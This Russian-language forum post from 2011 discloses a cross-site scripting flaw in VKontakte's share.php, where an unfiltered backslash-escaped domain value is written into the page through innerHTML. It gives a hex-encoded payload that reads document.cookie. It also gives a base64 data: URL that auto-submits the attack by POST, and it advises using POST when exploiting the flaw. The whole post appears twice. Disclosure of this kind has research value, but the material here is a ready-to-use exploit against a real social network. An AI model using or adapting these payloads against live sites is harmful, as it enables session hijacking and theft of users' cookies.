M_script
01.11.2011, 22:38
Наверное многие из вас знают о возможности "поделиться ссылкой" на сайт в различных соц.сетях. (http://s02.radikal.ru/i175/1111/7b/765c63e8fca2.bmp)
Вконтакте это делается следующим запросом:
http://vkontakte.ru/share.php?url=http://site.com/path/filename.ext
В исходнике страницы:
PHP:
window.shareUrl='http://site.com/path/filename.ext';
window.shareDomain='site.com';
Попробуем такую ссылку:
http://vkontakte.ru/share.php?url=http://site.com\x22/path\x22/filename\x22.ext\x22
PHP:
window.shareUrl='http://site.com\x22/path\x22/filename\x22.ext\x22';
window.shareDomain='site.com\x22';
Обратный слэш в домене передаваемой ссылки не фильтруется. Значит можно передать в shareUrl и shareDomain любой текст.
Смотрим, что происходит с этими переменными дальше в коде страницы:
PHP:
ge('parse_url').value=shareUrl;
...
if (window.shareDomain) {
ge('share_domain').innerHTML=shareDomain;
} else {
hide('share_domain');
}
...
..
(функция ge() используется вконтакте, как псевдоним document.getElementById())
value в теге input ничего не даст, зато innerHTML позволяет вставить в страницу произвольный код.
XSS:
http://vkontakte.ru/share.php?url=http://site.com\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x 78\x22\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x22\x61\x6C \x65\x72\x74\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x 2E\x63\x6F\x6F\x6B\x69\x65\x29\x3B\x22\x77\x69\x64 \x74\x68\x3D\x30\x3E
PHP:
Запрос работает через POST, желательно использовать эту возможность при эксплуатации XSS.
PHP:
или
Code:
data:text/html;base64,PGJvZHkgb25sb2FkPSJteXZrLnN1Ym1pdCgpOy I%2BPGZvcm0gaWQ9Im15dmsiYWN0aW9uPSJodHRwOi8vdmtvbn Rha3RlLnJ1L3NoYXJlLnBocCJtZXRob2Q9IlBPU1QiPjxpbnB1 dCB0eXBlPSJ0ZXh0Im5hbWU9InVybCJ2YWx1ZT0iaHR0cDovL3 NpdGUuY29tXHgzQ1x4NjlceDZEXHg2N1x4MjBceDczXHg3Mlx4 NjNceDNEXHgyMlx4NzhceDIyXHg2Rlx4NkVceDY1XHg3Mlx4Nz JceDZGXHg3Mlx4M0RceDIyXHg2MVx4NkNceDY1XHg3Mlx4NzRc eDI4XHg2NFx4NkZceDYzXHg3NVx4NkRceDY1XHg2RVx4NzRceD JFXHg2M1x4NkZceDZGXHg2Qlx4NjlceDY1XHgyOVx4M0JceDIy XHg3N1x4NjlceDY0XHg3NFx4NjhceDNEXHgzMFx4M0UiLz48L2 Zvcm0%2BPC9ib2R5Pg==
p.s.: работает одинаково для vkontakte.ru и vk.com
Вконтакте это делается следующим запросом:
http://vkontakte.ru/share.php?url=http://site.com/path/filename.ext
В исходнике страницы:
PHP:
window.shareUrl='http://site.com/path/filename.ext';
window.shareDomain='site.com';
Попробуем такую ссылку:
http://vkontakte.ru/share.php?url=http://site.com\x22/path\x22/filename\x22.ext\x22
PHP:
window.shareUrl='http://site.com\x22/path\x22/filename\x22.ext\x22';
window.shareDomain='site.com\x22';
Обратный слэш в домене передаваемой ссылки не фильтруется. Значит можно передать в shareUrl и shareDomain любой текст.
Смотрим, что происходит с этими переменными дальше в коде страницы:
PHP:
ge('parse_url').value=shareUrl;
...
if (window.shareDomain) {
ge('share_domain').innerHTML=shareDomain;
} else {
hide('share_domain');
}
...
..
(функция ge() используется вконтакте, как псевдоним document.getElementById())
value в теге input ничего не даст, зато innerHTML позволяет вставить в страницу произвольный код.
XSS:
http://vkontakte.ru/share.php?url=http://site.com\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x 78\x22\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x22\x61\x6C \x65\x72\x74\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x 2E\x63\x6F\x6F\x6B\x69\x65\x29\x3B\x22\x77\x69\x64 \x74\x68\x3D\x30\x3E
PHP:
Запрос работает через POST, желательно использовать эту возможность при эксплуатации XSS.
PHP:
или
Code:
data:text/html;base64,PGJvZHkgb25sb2FkPSJteXZrLnN1Ym1pdCgpOy I%2BPGZvcm0gaWQ9Im15dmsiYWN0aW9uPSJodHRwOi8vdmtvbn Rha3RlLnJ1L3NoYXJlLnBocCJtZXRob2Q9IlBPU1QiPjxpbnB1 dCB0eXBlPSJ0ZXh0Im5hbWU9InVybCJ2YWx1ZT0iaHR0cDovL3 NpdGUuY29tXHgzQ1x4NjlceDZEXHg2N1x4MjBceDczXHg3Mlx4 NjNceDNEXHgyMlx4NzhceDIyXHg2Rlx4NkVceDY1XHg3Mlx4Nz JceDZGXHg3Mlx4M0RceDIyXHg2MVx4NkNceDY1XHg3Mlx4NzRc eDI4XHg2NFx4NkZceDYzXHg3NVx4NkRceDY1XHg2RVx4NzRceD JFXHg2M1x4NkZceDZGXHg2Qlx4NjlceDY1XHgyOVx4M0JceDIy XHg3N1x4NjlceDY0XHg3NFx4NjhceDNEXHgzMFx4M0UiLz48L2 Zvcm0%2BPC9ib2R5Pg==
p.s.: работает одинаково для vkontakte.ru и vk.com